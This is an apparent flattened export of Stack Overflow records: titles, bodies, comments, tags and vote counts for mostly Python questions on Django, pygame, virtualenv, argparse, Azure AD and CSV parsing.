correctly? I am newbie in Django... yet!
downvote count: 0
has title: Save filled form data in Django if user is not logged in?
has comment: http://stackoverflow.com/comment/84443178
answer count: 1
favorite count: 0
has comment: http://stackoverflow.com/comment/84443272
upvote count: 2
type: UnansweredQuestion
tagged with: django

http://stackoverflow.com/comment/84571336
score: 0
type: Comment
comment on: http://stackoverflow.com/a/48784721
type: AnswerComment
has text: Have added (probably too much) HTML now.

http://stackoverflow.com/a/63204827
downvote count: 0
type: Answer
score: 1
upvote count: 1
answers question: http://stackoverflow.com/q/48714769
has body: Following command working in my case. Change python version according to your system. python3.7 -m pip install flask

http://stackoverflow.com/q/48735219
has answer: http://stackoverflow.com/a/48735275
has answer: http://stackoverflow.com/a/48735410
tagged with: python-3.x
tagged with: python
answer count: 4
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/48735360
accepted answer: http://stackoverflow.com/a/48735360
possible better answer: http://stackoverflow.com/a/48735275
has answer: http://stackoverflow.com/a/48735369
has comment: http://stackoverflow.com/comment/84469951
has comment: http://stackoverflow.com/comment/84470033
type: Question
has body: I'm new in python and I wrote code to have the product of items in a list without using the multiplication sign: def witOutmultiply(some_list): first_num = some_list[0] result = 0 for n in some_list[1:]: for i in range(n): result += first_num first_num = result result = 0 return first_num q =[2,4,5,6,10,15] print(witOutmultiply(q)) My question is: can I use comprehensions in this case, and can I get the result with just one loop? Thanks
has comment: http://stackoverflow.com/comment/84470129
score: 0
has title: Find the product of items in the list without using the multiplication sign

http://stackoverflow.com/q/48733823
has answer: http://stackoverflow.com/a/48734058
type: AnsweredQuestion
score: 2
tagged with: rectangles
type: Question
downvote count: 0
accepted answer: http://stackoverflow.com/a/48734058
answer count: 1
tagged with: pygame
has title: How to move a rect together with its associated drawing (Pygame)?
has body: Minimal working example: x = pygame.draw.circle(screen, color, (x, y), radius, width) x.center = (my_wanted_center_x, my_wanted_center_y) Then after updating the display, it's always displayed at its original location. Tried with other figures as well. Neither does x.move() work. How do I move any drawn figure in a simplest way?
tagged with: drawing
favorite count: 0
upvote count: 2
tagged with: python

http://stackoverflow.com/a/48718661
upvote count: 7
has comment: http://stackoverflow.com/comment/84462650
answers question: http://stackoverflow.com/q/48716346
has comment: http://stackoverflow.com/comment/84468352
has comment: http://stackoverflow.com/comment/84516727
has comment: http://stackoverflow.com/comment/84515997
has comment: http://stackoverflow.com/comment/84515723
has comment: http://stackoverflow.com/comment/84510923
has comment: http://stackoverflow.com/comment/84475718
type: Answer
has comment: http://stackoverflow.com/comment/84462927
has comment: http://stackoverflow.com/comment/84509279
has comment: http://stackoverflow.com/comment/84476401
score: 7
has comment: http://stackoverflow.com/comment/84464333
has body: We can update the Cart model by using a post-save signal in the models. The following post-save receiver will update the Cart model any time an Entry is created. models.py from django.contrib.auth.models import User from django.db import models from django.db.models.signals import post_save from django.dispatch import receiver from django.utils.datetime_safe import datetime class Product(models.Model): id = models.AutoField(primary_key=True) name = models.CharField(max_length=64, unique=True) description = models.TextField(default='') cost = models.DecimalField(default=0.00, max_digits=10, decimal_places=2) class Cart(models.Model): user = models.ForeignKey(User, null=True, blank=True, on_delete='CASCADE') count = models.PositiveIntegerField(default=0) total = models.DecimalField(default=0.00, max_digits=10, decimal_places=2) updated = models.DateTimeField(auto_now=True) timestamp = models.DateTimeField(auto_now_add=True) def __str__(self): return "User: {} has {} items in their cart. Their total is ${}".format(self.user, self.count, self.total) class Entry(models.Model): product = models.ForeignKey(Product, null=True, on_delete='CASCADE') cart = models.ForeignKey(Cart, null=True, on_delete='CASCADE') quantity = models.PositiveIntegerField() def __str__(self): return "This entry contains {} {}(s).".format(self.quantity, self.product.name) @receiver(post_save, sender=Entry) def update_cart(sender, instance, **kwargs): line_cost = instance.quantity * instance.product.cost instance.cart.total += line_cost instance.cart.count += instance.quantity instance.cart.updated = datetime.now() Example Function def test_my_cart(): apple, created = Product.objects.get_or_create(name='apple', cost=0.25) my_cart, created = Cart.objects.get_or_create(user=None) print(my_cart) # STDOUT --&gt; User: None has 0 items in their cart. Their total is $0.00 entry1 = Entry.objects.create(product=apple, cart=my_cart, quantity=3) print(entry1) # STDOUT --&gt; This entry contains 3 apple(s) prin…
downvote count: 0
has comment: http://stackoverflow.com/comment/84516848
has comment: http://stackoverflow.com/comment/84556047
has comment: http://stackoverflow.com/comment/84466676

http://stackoverflow.com/q/48672429
score: -2
has answer: http://stackoverflow.com/a/48688479
has answer: http://stackoverflow.com/a/48672614
has comment: http://stackoverflow.com/comment/84362101
has comment: http://stackoverflow.com/comment/84344930
has comment: http://stackoverflow.com/comment/84344772
has comment: http://stackoverflow.com/comment/84344055
has comment: http://stackoverflow.com/comment/84343593
favorite count: 0
type: UnansweredQuestion
downvote count: 2
tagged with: python
has title: For loop to put values into variables
has comment: http://stackoverflow.com/comment/84344823
has comment: http://stackoverflow.com/comment/84344675
has body: How can I use a for loop to get values that I've already got into variables? I currently have this code, that works the way I want it to: var1 = 25 var2 = 22 var3 = 1 var4 = 23 my_list = [7, 8, 11, 11] for n, val in enumerate(my_list): globals()["value%d"%n] = val But I also need to be able to get these values from the variables this makes into another for loop to be able to do calculations with them, but I'm not sure how to do that. I want it to loop through each value in the list and do either of two things, alternating, so I'm using this: for n, val in enumerate(my_list): if n % 2 == 0: answer1 = ((25*7)+(22*8)%26) else: answer2 = ((1*11)+(23*11)%26) So when I print answer1 and answer2, they come out as 13 and 9 respectively. That's what I want it to output, but I want it to do it for each value in my_list, even if my_list has more than 4 items in it, I need it to loop through every item in it and store the answers separately.
type: Question
answer count: 2
has comment: http://stackoverflow.com/comment/84343042
tagged with: for-loop
upvote count: 0

http://stackoverflow.com/a/48774686
has body: I think I figured it out. It looks correct: html.Div( [ dcc.Dropdown(id='dropdown', options=[{'label': i, 'value': i} for i in all_options], multi=False, placeholder='Select Symbol...' ) ], className='two columns' ), html.Div( [ dcc.DatePickerSingle( id='my-date-picker-single', month_format='Y-M-D', min_date_allowed=today - timedelta(days=3), max_date_allowed=today + timedelta(days=730), initial_visible_month=today, date=today), html.Div(id='output-container-date-picker-single') ], className='two columns'
has comment: http://stackoverflow.com/comment/90209872
type: Answer
upvote count: 1
answers question: http://stackoverflow.com/q/48773554
downvote count: 3
score: -2
has comment: http://stackoverflow.com/comment/108981938

http://stackoverflow.com/q/48713510
tagged with: discord
accepted answer: http://stackoverflow.com/a/48714472
has comment: http://stackoverflow.com/comment/84427276
upvote count: 3
has title: Discord.py silence command
type: AnsweredQuestion
score: 3
has comment: http://stackoverflow.com/comment/84426557
has comment: http://stackoverflow.com/comment/84426893
type: Question
has body: I have been asking lots of questions lately about discord.py and this is one of them. Sometimes there are those times when some people spam your discord server but kicking or banning them seems too harsh. I had the idea for a silence command which would delete every new message on a channel for a given amount of time. My code so far is: @BSL.command(pass_context = True) async def silence(ctx, lenghth = None): if ctx.message.author.server_permissions.administrator or ctx.message.author.id == ownerID: global silentMode global silentChannel silentChannel = ctx.message.channel silentMode = True lenghth = int(lenghth) if lenghth != '': await asyncio.sleep(lenghth) silentMode = False else: await asyncio.sleep(10) silentMode = False else: await BSL.send_message(ctx.message.channel, 'Sorry, you do not have the permissions to do that @{}!'.format(ctx.message.author)) The code in my on_message section is: if silentMode == True: await BSL.delete_message(message) if message.content.startswith('bsl;'): await BSL.process_commands(message) All the variables used are pre-defined at the top of the bot. My problem is that the bot deletes all new messages in all channels which it has access to. I tried putting if silentChannel == ctx.message.channel in the on_message section but this made the command stop working completely. Any suggestions as to why this is happening are much appreciated.
tagged with: discord.py
downvote count: 0
answer count: 1
has comment: http://stackoverflow.com/comment/84427441
favorite count: 0
has answer: http://stackoverflow.com/a/48714472
tagged with: python

http://stackoverflow.com/q/48730595
has body: Note: People have marked this as a duplicate of another question but it is not. There is something off about my virtualenv and I have not been able to resolve it. It might have to do with how Visual Studio sets it up. I have been following along with this excellent tutorial on flask I ran into a problem when I tried to activate the virtual environment on Windows. How do you execute $ venv\Scripts\activate? Is this supposed to be from the command prompt or Powershell? I have used Visual Studio as my IDE. It creates for you a VS solution that has a basic flask app to start with. In the process of creating the app it asks you to create a virtual environment. It creates that virtual environment in a directory similar to the one shown in the tutorial. \venv\Scripts exits but it does not have a file or executable called "activate". here is the content of the Scripts folder: api-ms-win-core-console-l1-1-0.dll api-ms-win-core-datetime-l1-1-0.dll api-ms-win-core-debug-l1-1-0.dll api-ms-win-core-errorhandling-l1-1-0.dll api-ms-win-core-file-l1-1-0.dll api-ms-win-core-file-l1-2-0.dll api-ms-win-core-file-l2-1-0.dll api-ms-win-core-handle-l1-1-0.dll api-ms-win-core-heap-l1-1-0.dll api-ms-win-core-interlocked-l1-1-0.dll api-ms-win-core-libraryloader-l1-1-0.dll api-ms-win-core-localization-l1-2-0.dll api-ms-win-core-memory-l1-1-0.dll api-ms-win-core-namedpipe-l1-1-0.dll api-ms-win-core-processenvironment-l1-1-0.dll api-ms-win-core-processthreads-l1-1-0.dll api-ms-win-core-processthreads-l1-1-1.dll api-ms-win-core-profile-l1-1-0.dll api-ms-win-core-rtlsupport-l1-1-0.dll api-ms-win-core-string-l1-1-0.dll api-ms-win-core-synch-l1-1-0.dll api-ms-win-core-synch-l1-2-0.dll api-ms-win-core-sysinfo-l1-1-0.dll api-ms-win-core-timezone-l1-1-0.dll api-ms-win-core-util-l1-1-0.dll api-ms-win-crt-conio-l1-1-0.dll api-ms-win-crt-convert-l1-1-0.dll api-ms-win-crt-environment-l1-1-0.dll api-ms-win-crt-filesystem-l1-1-0.dll api-ms-win-crt-heap-l1-1-0.dll api-ms-win-crt-locale-l1-1-0.dll api-ms-win…
tagged with: visual-studio
type: AnsweredQuestion
score: 3
linked to: http://stackoverflow.com/q/4527958
type: Question
has title: Activating Python virtual environment on Windows
possible better answer: http://stackoverflow.com/a/48730635
tagged with: powershell
tagged with: virtualenv
has comment: http://stackoverflow.com/comment/84460290
has answer: http://stackoverflow.com/a/48732607
accepted answer: http://stackoverflow.com/a/48732607
answer count: 2
downvote count: 2
tagged with: windows
favorite count: 0
duplicate of: http://stackoverflow.com/q/4527958
has answer: http://stackoverflow.com/a/48730635
upvote count: 5
has comment: http://stackoverflow.com/comment/84680025
tagged with: python

http://stackoverflow.com/q/48733882
favorite count: 0
tagged with: datetime
tagged with: python
type: AnsweredQuestion
score: 2
possible better answer: http://stackoverflow.com/a/67092341
downvote count: 0
has answer: http://stackoverflow.com/a/67092341
has title: How to apply modulo operation on python datetime.time
has answer: http://stackoverflow.com/a/48734038
accepted answer: http://stackoverflow.com/a/48734038
type: Question
linked to: http://stackoverflow.com/q/3463930
has comment: http://stackoverflow.com/comment/84467056
upvote count: 2
has body: I have a series of datetime.time data, and I want to apply modulo operation on it, converting all data into some intervals. For example, using a 5-minute interval, datetime.time(11, 38, 27, 785327) will be converted to datetime.time(11, 35, 0, 0) How can I accomplish this sort of rounding?
answer count: 2

http://stackoverflow.com/q/48733613
tagged with: matplotlib
has comment: http://stackoverflow.com/comment/84468079
has comment: http://stackoverflow.com/comment/84467188
tagged with: numpy
score: 0
linked to: http://stackoverflow.com/q/33942700
type: UnansweredQuestion
tagged with: python
has comment: http://stackoverflow.com/comment/84468054
answer count: 0
has body: I would like to plot a heatmap for x, y, intensity coordinates, similar to this question: Plotting a Heat Map X,Y,Intensity From Three Lists In my case, the data is not ordered and therefore the x and y coordinates cannot simply be reshaped into a mesh grid. I would like to convert this: x,y,intensity = [1, 1, 0.4 1, 0, 0.1 2, 2, 0.6 ... ] to this: intensity = [0.0, 0.1, 0.0 0.0, 0.4, 0.0 0.0, 0.0, 0.6 ... ] So my question is: how can I plot my intensity values for the x and y coordinates on a mesh grid? I also tried to use a for loop but could not find the right way to sort the data correctly. The final result will be used to show x,y and color values in pcolormesh.
has title: Plot intensity values to unsorted coordinates using mesh grid
type: Question

http://stackoverflow.com/a/48753775
answers question: http://stackoverflow.com/q/48752276
downvote count: 0
type: Answer
score: 1
has body: Just looking at the source that does this: freezing to A1 is supposed to do nothing. However, I've no plans to change this code. It's much better to work with a sheet view (ws.views.sheetViews[0]), but you'll need to look at the format specification for more details.
upvote count: 1

http://stackoverflow.com/comment/84482046
comment on: http://stackoverflow.com/q/48741185
has text: see a bad value on the next one, will change. sorry
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/84543614
score: 0
comment on: http://stackoverflow.com/q/48764610
has text: i also add 10 pic to train folder now i have 44000 pic but again this error appeared .
type: QuestionComment
type: Comment

http://stackoverflow.com/q/48710254
has answer: http://stackoverflow.com/a/49885954
tagged with: field
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/51675795
tagged with: django
tagged with: python
has title: Create a Custom History in Django showing specific field changes
type: Question
tagged with: history
has body: Heyho, in Django i want to create a history view of my model 'application' which shows a table with the columns: Who (changed), When, which field, old Value, new Value I found the django-simple-history app which stores every version of a model instance in a new model. Actually excactly what i need, but i do not know, how to get the fields of a historical object and especially just the fields which changed comparing two sequenced historical objects. Has anybody an idea or maybe a complete new approach for that? Thanks a lot!
tagged with: django-simple-history
score: 0
answer count: 2

http://stackoverflow.com/a/48693518
score: 0
has comment: http://stackoverflow.com/comment/84387743
has body: Here's how you can use a dictionary to populate a dataframe with this data: from bs4 import BeautifulSoup import requests import time import random import pandas as pd product_urls = [ 'https://www.qiagen.com/us/shop/pcr/primer-sets/miscript-primer-assay-plate/#orderinginformation' ] html = requests.get(product_urls[0]).text soup = BeautifulSoup(html, 'lxml') container = soup.find('table') tables = container.find_all('tr') dic_list = [] for t in tables[13:]: data = t.find_all('td') dic = {} try: dic['title'] = data[0].find('div').text dic['description'] = data[0].find("div", {"class":"copy"}).text, dic['prod_number'] = data[1].text, dic['cat_number'] = data[2].text, dic['price'] = data[3]['price'] except: pass dic_list.append(dic) df = pd.DataFrame(dic_list) print(df.sample(3)) cat_number description price prod_number \ 25 (MS00064316,) ((ZmU65-2),) 93.1 (218300,) 13 (MS00064232,) ((ZmU49-1),) 93.1 (218300,) 26 (MS00064323,) ((OssnoR28),) 93.1 (218300,) title 25 Zm_U65-2_1 miScript Primer Assay 13 Zm_U49-1_1 miScript Primer Assay 26 Os_snoR28_1 miScript Primer Assay Finally, save your csv file like this: df.to_csv('sample_csv.csv', index=False)
has comment: http://stackoverflow.com/comment/84386147
has comment: http://stackoverflow.com/comment/84386039
type: Answer
answers question: http://stackoverflow.com/q/48692345

http://stackoverflow.com/comment/84529028
type: Comment
comment on: http://stackoverflow.com/a/48762626
has text: Thank you. I got it working with: engine = create_engine("mssql+pyodbc://nick:password@QueryBuilder")
score: 0
type: AnswerComment

http://stackoverflow.com/comment/84443225
has text: I'll do that. accepting your answer in the mean time as it sounds reasonable. Thanks for the help
score: 0
type: AnswerComment
type: Comment
comment on: http://stackoverflow.com/a/48722033

http://stackoverflow.com/q/48648972
answer count: 2
possible better answer: http://stackoverflow.com/a/48653513
tagged with: python
tagged with: azure-active-directory
has body: We are trying to import our existing users into our B2C tenant. For this, we have been trying to use the azure-graphrbac python library. I have followed this guide to register an application to be used with the graph api. I'm using the below code to try and create a user: from azure.graphrbac import GraphRbacManagementClient from azure.common.credentials import ServicePrincipalCredentials from azure.graphrbac.models import UserCreateParameters, PasswordProfile credentials = ServicePrincipalCredentials( client_id="&lt;CLIENT ID&gt;", secret="&lt;SECRET&gt;", tenant="&lt;TENANT ID&gt;" ) tenant_id = '&lt;myb2ctenant&gt;.onmicrosoft.com' graphrbac_client = GraphRbacManagementClient( credentials, tenant_id ) ucp = UserCreateParameters( user_principal_name="my@mail.com", account_enabled=True, display_name='Martin T', mail_nickname='&lt;mymail&gt;', additional_properties={ "signInNames": [{"type": "emailAddress", "value": "&lt;mymail&gt;"}] }, user_type="LocalAccount", password_profile=PasswordProfile( password='&lt;somepassword&gt;', force_change_password_next_login=True ) ) user = graphrbac_client.users.create(ucp) I've made sure that the client id, secret and tenant id are correct. However, I keep getting this error: GraphErrorException: Access Token missing or malformed. Does anyone have an idea as to what I might be doing wrong?
has answer: http://stackoverflow.com/a/48655167
tagged with: azure-ad-graph-api
tagged with: azure
score: 2
type: AnsweredQuestion
downvote count: 0
has answer: http://stackoverflow.com/a/48653513
accepted answer: http://stackoverflow.com/a/48655167
favorite count: 0
type: Question
upvote count: 2
has title: Trying to create Azure B2C user with azure-graphrbac

http://stackoverflow.com/comment/84387692
type: QuestionComment
has text: None of the code you have just posted helps at all. In fact it makes it almost impossible to see what you are doing. The code you had posted was fine, we wanted to see input data (basically the output of `classes`)
score: 0
comment on: http://stackoverflow.com/q/48694368
type: Comment

http://stackoverflow.com/comment/138282304
type: AnswerComment
score: 0
type: Comment
has text: also - aparently `install` cmd doesnt dupport recursing into child dirs - so it will work only for "flat" dir layouts
comment on: http://stackoverflow.com/a/77243789

http://stackoverflow.com/a/48897813
has comment: http://stackoverflow.com/comment/84904655
score: 3
has body: I had an issue with my Python installation. I'm not sure what it was or why, as the other packages I had installed worked fine (matplotlib, etc.). Here's how I resolved it: I uninstalled python via home-brew, as follows: brew uninstall python Then, I reinstalled python via brew as follows: brew install python I opened my .bash_profile with the following command in Terminal: open .bash_profile I commented out prior the path and added this one (don't nuke a path unless you're sure you don't need it): export PATH="/usr/local/opt/python/libexec/bin:$PATH" Then, I followed the brew prompts to finish the install. Upon completion, I installed wget via pip2 as follows: pip2 install wget After that, I opened up Visual Studio Code, typed import wget and it worked.
upvote count: 3
answers question: http://stackoverflow.com/q/48800589
has comment: http://stackoverflow.com/comment/84897319
type: AcceptedAnswer
downvote count: 0
accepted answer of: http://stackoverflow.com/q/48800589
type: Answer

http://stackoverflow.com/q/48759591
has comment: http://stackoverflow.com/comment/84519940
tagged with: python
has comment: http://stackoverflow.com/comment/84520001
favorite count: 0
type: UnansweredQuestion
downvote count: 1
has answer: http://stackoverflow.com/a/48764165
score: -1
has body: I have data in string: "1233/333/test1.js,1233/333/test2.js,2222/44/test2.js,ss.js"` and want an output that will look like: [{ 'title': '1233', 'folder': true, 'expanded': true, 'children': [{ 'title': '333', 'folder': true, 'expanded': true, 'children': [{ 'title': 'test1.js' }, { 'title': 'test2.js' }] }] }, { 'title': '2222', 'folder': true, 'expanded': true, 'children': [{ 'title': '44', 'folder': true, 'expanded': true, 'children': [{ 'title': 'test2.js', }] }] }, { 'title': 'ss.js', }] Any suggestions for this are appreciated.
type: Question
has title: Convert delimited string to hierarchical JSON with python
upvote count: 0
answer count: 1
has comment: http://stackoverflow.com/comment/84519851

http://stackoverflow.com/a/75718613
type: AcceptedAnswer
accepted answer of: http://stackoverflow.com/q/48791465
answers question: http://stackoverflow.com/q/48791465
type: Answer
has body: As from the docs you can query nested fields like this: db.search(Check['json-object']['test'].exists())
score: 0

http://stackoverflow.com/comment/84493826
comment on: http://stackoverflow.com/q/48746812
type: QuestionComment
score: 0
has text: @Kasramvd I need to know which is my next error hence i have used regex pattern and also there can be multiple lines for each error , not necessarily just two lines
type: Comment

http://stackoverflow.com/comment/84590043
has text: Maybe. In the `request` function, add some lines to print out each arg to make sure they are what you expect, and then post the results
type: Comment
type: QuestionComment
score: 0
comment on: http://stackoverflow.com/q/48793661

http://stackoverflow.com/q/48760279
has title: All possible (1,2....x) letter combinations
has comment: http://stackoverflow.com/comment/84521072
has body: I need a list all possible (1,2....x) letter combinations where x is a number. So for 2 letter words, using list, I would do: [x+y for x in ascii_letters for y in ascii_letters] for 3 letter words, I would do: [x+y+z for x in ascii_letters for y in ascii_letters for z in ascii_letters] and so on. Its clear that I am running into static repetition of code. Is there a generic way of writing this using list comprehension, map or any other method where I can supply number of letters as arguments without repeating the code.
tagged with: python
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/48760309
upvote count: 1
type: Question
accepted answer: http://stackoverflow.com/a/48760309
answer count: 1
downvote count: 0
score: 1
favorite count: 0

http://stackoverflow.com/q/48705166
has comment: http://stackoverflow.com/comment/84409215
linked to: http://stackoverflow.com/q/33519688
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/84409239
has comment: http://stackoverflow.com/comment/84410323
has comment: http://stackoverflow.com/comment/84409446
score: 1
has body: I have a list by connection of two strings and then converting them to integer by: for i in xrange(0, len(FromBus[1][0])): FromBus[1][0][i] = int(str(FromBus[1][0][i]) + str(ToBus[1][0][i])) List looks as following: &gt;&gt;&gt; FromBus[1][0][1:5] [3724637724L, 3724837324L, 3724837707L, 3724837707L] List is made of longs &gt;&gt;&gt; type(FromBus[1][0][1]) &lt;type 'long'&gt; Due to post processing of data in different environment I am trying to convert the long type to integer type so I need to delete 'L' at the end of each variable. However, all of the methods I have found, failed: &gt;&gt;&gt; int(FromBus[1][0][1]) 3724637724L &gt;&gt;&gt; [int(i) for i in FromBus[1][0]][1:5] [3724637724L, 3724837324L, 37248377071L, 37248377072L] &gt;&gt;&gt; map(int, FromBus[1][0][1:5]) [3724637724L, 3724837324L, 37248377071L, 37248377072L] My question is, what is the source of the problem here? I can easily convert them to strings. But how can I still convert long to int, without doing it thorugh string method (convert long to strings deleting the last character at the end of each string and then converting it back again to integer). Sufficient solution for me, would be also to manimulate csv writing function deleting 'L''s while writing.
has comment: http://stackoverflow.com/comment/84409106
has title: Python does not convert long to int
tagged with: long-integer
has answer: http://stackoverflow.com/a/48705460
has comment: http://stackoverflow.com/comment/84410398
has answer: http://stackoverflow.com/a/48706051
type: Question
tagged with: int
has comment: http://stackoverflow.com/comment/84409613
tagged with: python-2.7
has comment: http://stackoverflow.com/comment/84408752
upvote count: 1
downvote count: 0
favorite count: 0
has comment: http://stackoverflow.com/comment/84409398
answer count: 3
tagged with: python
has answer: http://stackoverflow.com/a/59266516

http://stackoverflow.com/q/48655113
has body: I'm attempting to allow an optional argument that takes a single command line argument of a filename: parser.add_argument('--somefile', nargs=1, type=argparse.FileType('r'), required=False, default='defaultfile.json') The problem is when I specify a file using the --somefile foo.json I get back a handle in a list: args.somefile=[&lt;_io.TextIOWrapper name='foo.json' mode='r' encoding='UTF-8'&gt;] When I don't specify it and want the default, I get back a handle, but not in a list: args.somefile=&lt;_io.TextIOWrapper name='defaultfile.json' mode='r' encoding='UTF-8'&gt; How do I get args.somefile to return the same type of structure (handle either in a list or not in a list) consistently?
score: 0
tagged with: argparse
answer count: 1
has answer: http://stackoverflow.com/a/48655259
tagged with: python
type: AnsweredQuestion
accepted answer: http://stackoverflow.com/a/48655259
has title: How to specify argparse default file when type=argparse.FileType
type: Question

image
tags question: http://stackoverflow.com/q/48718034
tags question: http://stackoverflow.com/q/48721567
tags question: http://stackoverflow.com/q/48676365
tags question: http://stackoverflow.com/q/48753022
tags question: http://stackoverflow.com/q/48755945
tags question: http://stackoverflow.com/q/48647379
tags question: http://stackoverflow.com/q/48726938
tags question: http://stackoverflow.com/q/48658405
tags question: http://stackoverflow.com/q/48782541
tags question: http://stackoverflow.com/q/48658210
tags question: http://stackoverflow.com/q/48721954
tags question: http://stackoverflow.com/q/48688375
tags question: http://stackoverflow.com/q/48764485
tags question: http://stackoverflow.com/q/48768604
tags question: http://stackoverflow.com/q/48648818
tags question: http://stackoverflow.com/q/48680832
tags question: http://stackoverflow.com/q/48732991
tags question: http://stackoverflow.com/q/48700275
tags question: http://stackoverflow.com/q/48668010
tags question: http://stackoverflow.com/q/48717512
tags question: http://stackoverflow.com/q/48769750
tags question: http://stackoverflow.com/q/48734581
tag name: image
tags question: http://stackoverflow.com/q/48804038
tags question: http://stackoverflow.com/q/48698639
tags question: http://stackoverflow.com/q/48729656
tags question: http://stackoverflow.com/q/48729915
tags question: http://stackoverflow.com/q/48717421
type: Tag
tags question: http://stackoverflow.com/q/48681465
tags question: http://stackoverflow.com/q/48720693

http://stackoverflow.com/comment/84340739
score: 0
type: Comment
type: QuestionComment
has text: yes that's what I mean - editing my question now! :)
comment on: http://stackoverflow.com/q/48671317

http://stackoverflow.com/q/48722240
tagged with: web-crawler
upvote count: 0
answer count: 1
tagged with: headless-browser
favorite count: 0
tagged with: python-3.x
type: UnansweredQuestion
tagged with: python
has answer: http://stackoverflow.com/a/48722663
has title: python web crawler cannot get full page
downvote count: 2
has body: I try to run the following python code: import requests headers={'User-Agent':'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36'} url="https://search.bilibili.com/all?keyword=Steins;Gate0" try: r=requests.get(url=url,headers=headers) r.encoding='utf-8' if(r.status_code==200): print(r.text) except: print("This is the selection of Steins Gate") I am a beginner of web crawler. This is a crawler spider write by requests on python, but I cannot get the full page and I think this is the problem of Asynchronous page loading (Perhaps the website has other Strategy) So the question is how to get the full page.
tagged with: python-requests
type: Question
score: -2

http://stackoverflow.com/comment/84464390
has text: Could you regex the whole string and use a few capture groups to get out the values you want? (see https://docs.python.org/2/howto/regex.html#grouping)
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/48732515

http://stackoverflow.com/comment/84349164
type: Comment
has text: You could possibly try using a bool or int i and set to first char and for second, you can also use this function to check for chars in string and then switch out char at 0 and 1... $' in s to return if it finds a " or ' or what not, anyhow good luck i hope you find your answer or these functions come of some use.
comment on: http://stackoverflow.com/a/48674107
type: AnswerComment
score: 0

http://stackoverflow.com/comment/84485832
comment on: http://stackoverflow.com/a/48738262
type: Comment
score: 0
type: AnswerComment
has text: No worries, I'm glad that it worked - if I edit my answer, will you accept that instead?

http://stackoverflow.com/comment/84342681
type: AnswerComment
comment on: http://stackoverflow.com/a/48661892
score: 0
has text: Thanks Jean, Im slowly starting to understand more on how this all works. I still cant achieve what im attempting to do. Ive written a simplified version of what my application is trying to do. Ive read through more of the twisted docs but have still hit a roadblock . I feel so close...
type: Comment

http://stackoverflow.com/comment/84530230
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/48763185
has text: @halfler ok did not know, and beside down voting would you consider helping? Thanks

http://stackoverflow.com/a/48675582
score: 0
has comment: http://stackoverflow.com/comment/84350268
has body: Here you open a file object to your output file, but do not close it. out = writer(open("CSV_Output.csv", "a")) It's possible that the data is buffered and hasn't been flushed to the disk. One way to avoid this error is to make sure you close file objects. The latter is handled for you by the file object context manager (i.e. the with open(path) as file: syntax). Thus, i recommend changing your code to: with open('CSV_to_Read.csv','r') as csvfile: readCSV = csv.reader(csvfile, encoding='utf-8') with open("CSV_Output.csv", "a") as outfile: out = writer(outfile) for row in readCSV: g = Goose({'browser_user_agent': 'Mozilla', 'parser_class':'soup'}) try: article = g.extract(url=row[0]) print article.cleaned_text out.writerow([row[0], row[1], row[2], row[3], row[4], row[5], row[6], article.cleaned_text, row[7], row[8], row[9]]) except Exception: pass
answers question: http://stackoverflow.com/q/48675351
type: Answer
has comment: http://stackoverflow.com/comment/84350020

http://stackoverflow.com/a/48800050
answers question: http://stackoverflow.com/q/48799929
has comment: http://stackoverflow.com/comment/84606236
score: 0
type: Answer
has body: You can salvage your data by first converting it to valid JSON piecewise and then dumping the JSON into a string or a file: tmpdict = {"Events" : [json.loads('{' + item + '}') for item in mylist]} json.dumps(tmpdict) '{"Events": [{"Event": "BATCHS01-wbstp01"}, {"Event": "BATCHS01-wbstrt01"}]}'

http://stackoverflow.com/comment/84407002
has text: Hey @shivams, i do have jupyter installed on my mac, and can launch jupyter notebook outside of the ec2-user console
score: 0
type: Comment
comment on: http://stackoverflow.com/a/48704236
type: AnswerComment

http://stackoverflow.com/comment/84606904
type: Comment
comment on: http://stackoverflow.com/a/48777344
has text: *"the only one that correctly answers the question as asked"* - the actual question is *"How would I get back other records"*, not *"how do I escape percents in Python strong formatting"*, and I'd expect someone at your rep to be able to spot an XY problem even if it did ask that. *"no other answer mentions"* - mine *does* mention it. Did you actually read either the question or the others answer before commenting? *"does have legitimate uses"* - but you don't even *hint* that this might not be one of them.
type: AnswerComment
score: 0

http://stackoverflow.com/q/48655953
tagged with: http://stackoverflow.com/tag/csv
has comment: http://stackoverflow.com/comment/84309756
tagged with: python
type: AnsweredQuestion
has title: Processing CSV data in Python: Wireshark CSV, comma/list issue
has comment: http://stackoverflow.com/comment/84309835
has answer: http://stackoverflow.com/a/48657054
tagged with: delimited
type: Question
has body: So I am trying to break this CSV data down a bit more, and grab a specific comma delimited piece of text. It is a wireshark CSV. import csv with open('wifi.csv', 'rt') as csvfile: reader = csv.reader(csvfile, delimiter='\n', quotechar='\n') for row in reader: print(" ".join(row[0:1])) Which only prints out rows. These rows contain comma delimited objects that are enclosed in double quotes. I'm trying to find a way to access these effectively. Output: "85","23.128318","52.86.227.189","10.0.0.23","TCP","56","[TCP Retransmission] 443 > 61541 [FIN, ACK] Seq=32 Ack=33 Win=118 Len=0" "86","26.766224","fe80::1286:8cff:fe4f:d04d","ff02::1","ICMPv6","174","Router Advertisement from 10:86:8c:4f:d0:4d" "87","27.479193","10.0.0.23","104.70.61.253","SSL","55","Continuation Data" I want to access these individually, so I can grab a specific one. But it isn't like a list or anything, and it is thinking it is string indicies.
answer count: 1
score: 0
has comment: http://stackoverflow.com/comment/84309787
accepted answer: http://stackoverflow.com/a/48657054

http://stackoverflow.com/q/48774560
tagged with: python
has comment: http://stackoverflow.com/comment/84553318
tagged with: matlab
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/84577246
downvote count: 0
score: 1
has comment: http://stackoverflow.com/comment/84597387
has comment: http://stackoverflow.com/comment/84551585
has comment: http://stackoverflow.com/comment/84740843
linked to: http://stackoverflow.com/q/43971259
tagged with: gis
type: Question
has comment: http://stackoverflow.com/comment/84552003
